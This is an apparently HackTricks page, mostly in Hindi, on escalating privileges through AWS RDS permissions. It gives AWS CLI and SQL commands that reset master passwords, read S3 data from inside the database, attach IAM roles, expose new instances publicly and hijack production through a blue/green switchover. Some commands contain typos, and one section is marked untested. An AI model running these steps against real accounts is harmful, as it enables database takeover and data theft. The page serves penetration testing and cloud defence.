AWS - RDS Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

RDS - Relational Database Service

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

उस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है, और डेटाबेस के अंदर लॉगिन बदल सकता है:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

आपको contact to the database करने में सक्षम होना चाहिए (ये आमतौर पर केवल नेटवर्क के अंदर से ही पहुंचने योग्य होते हैं)।

Potential Impact: डेटाबेस के भीतर संवेदनशील जानकारी मिल सकती है।

rds-db:connect

According to the docs इस permission वाले उपयोगकर्ता DB instance से कनेक्ट कर सकते हैं।

Abuse RDS Role IAM permissions

Postgresql (Aurora)

Tip

यदि आप SELECT datname FROM pg_database; चलाते हैं और आपको rdsadmin नाम का database मिलता है, तो आप जान जाते हैं कि आप एक AWS postgresql database के अंदर हैं।

सबसे पहले आप जाँच सकते हैं कि क्या इस database का उपयोग किसी अन्य AWS service तक पहुँचने के लिए किया गया है। आप इसे इंस्टॉल किए गए extensions देखकर चेक कर सकते हैं:

SELECT * FROM pg_extension;

यदि आपको aws_s3 जैसा कुछ मिलता है तो आप मान सकते हैं कि इस डेटाबेस के पास S3 पर किसी प्रकार की पहुँच है (अन्य एक्सटेंशन्स भी हैं जैसे aws_ml और aws_lambda)।

Also, अगर आपके पास aws rds describe-db-clusters चलाने की permissions हैं तो आप वहाँ देख सकते हैं कि cluster के पास कोई IAM Role attached है या नहीं, फील्ड AssociatedRoles में। अगर है, तो आप मान सकते हैं कि डेटाबेस को अन्य AWS services तक पहुँचने के लिए तैयार किया गया था। role के name के आधार पर (या अगर आप role के permissions प्राप्त कर सकते हैं) आप यह guess कर सकते हैं कि डेटाबेस को कौन सा अतिरिक्त access मिला है।

अब, किसी bucket के अंदर फाइल पढ़ने के लिए आपको पूरा path पता होना चाहिए। आप इसे पढ़ सकते हैं:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

यदि आपके पास raw AWS credentials होते, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql S3 तक पहुँचने के लिए किसी parameter group variable को बदलने की ज़रूरत नहीं है

Mysql (Aurora)

Tip

किसी mysql के अंदर, यदि आप query SELECT User, Host FROM mysql.user; चलाते हैं और वहाँ rdsadmin नाम का user है, तो आप मान सकते हैं कि आप एक AWS RDS mysql db के अंदर हैं।

mysql के अंदर show variables; चलाएँ और यदि aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role जैसे variables के पास values हैं, तो आप मान सकते हैं कि database S3 डेटा तक पहुँचने के लिए तैयार है।

इसके अलावा, अगर आपके पास aws rds describe-db-clusters चलाने की permissions हैं तो आप चेक कर सकते हैं कि cluster के पास कोई associated role है या नहीं, जो आम तौर पर AWS services तक पहुँच का संकेत होता है).

अब, bucket के अंदर फ़ाइल पढ़ने के लिए आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

इन अनुमतियों rds:AddRoleToDBCluster और iam:PassRole वाले attacker किसी मौजूदा RDS instance में एक निर्दिष्ट role जोड़ सकते हैं। इससे attacker को संवेदनशील डेटा तक पहुँच या instance के भीतर डेटा में परिवर्तन करने की अनुमति मिल सकती है।

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.

rds:CreateDBInstance

केवल इस permission के साथ एक attacker उस cluster के अंदर एक नया instance बना सकता है जो पहले से मौजूद है और जिस पर एक IAM role संलग्न है। वह master user password बदल नहीं पाएगा, लेकिन संभवतः नया database instance इंटरनेट के लिए एक्सपोज़ कर सकता है:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: परीक्षण

एक attacker जिसके पास permissions rds:CreateDBInstance और iam:PassRole हैं, वह निर्दिष्ट role संलग्न करके नया RDS instance बना सकता है। फिर attacker संभावित रूप से संवेदनशील डेटा तक पहुँच सकता है या instance के भीतर डेटा संशोधित कर सकता है।

Warning

attach करने के लिए role/instance-profile की कुछ आवश्यकताएँ (from here):

  • प्रोफ़ाइल आपके account में मौजूद होनी चाहिए।
  • प्रोफ़ाइल में ऐसा IAM role होना चाहिए जिसे Amazon EC2 के पास assume करने की permissions हों।
  • instance profile name और संबंधित IAM role name AWSRDSCustom prefix से शुरू होना चाहिए।
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

संभावित प्रभाव: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत परिवर्तन।

rds:AddRoleToDBInstance, iam:PassRole

एक attacker जिसके पास permissions rds:AddRoleToDBInstance और iam:PassRole हैं, वह मौजूदा RDS instance में एक निर्दिष्ट role जोड़ सकता है। इससे attacker को संवेदनशील डेटा तक पहुँच या instance के भीतर डेटा में परिवर्तन करने की अनुमति मिल सकती है।

Warning

इसके लिए DB instance cluster के बाहर होना चाहिए

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

संभावित प्रभाव: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत परिवर्तन।

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

इन permissions वाले attacker production database (Blue) को clone कर सकता है, clone (Green) पर एक उच्च-privilege IAM role attach कर सकता है, और फिर switchover का उपयोग करके production environment को replace कर सकता है। इससे attacker डेटाबेस के privileges बढ़ाकर अन्य AWS resources तक अनधिकृत पहुँच प्राप्त कर सकता है।

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

संभावित प्रभाव: प्रोडक्शन डेटाबेस पर्यावरण का पूरा कब्ज़ा। स्विचओवर के बाद, डेटाबेस उन्नत विशेषाधिकारों के साथ चलता है, जिससे डेटाबेस के भीतर से अन्य AWS सेवाओं (e.g., S3, Lambda, Secrets Manager) तक अनधिकृत पहुँच संभव हो जाती है।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें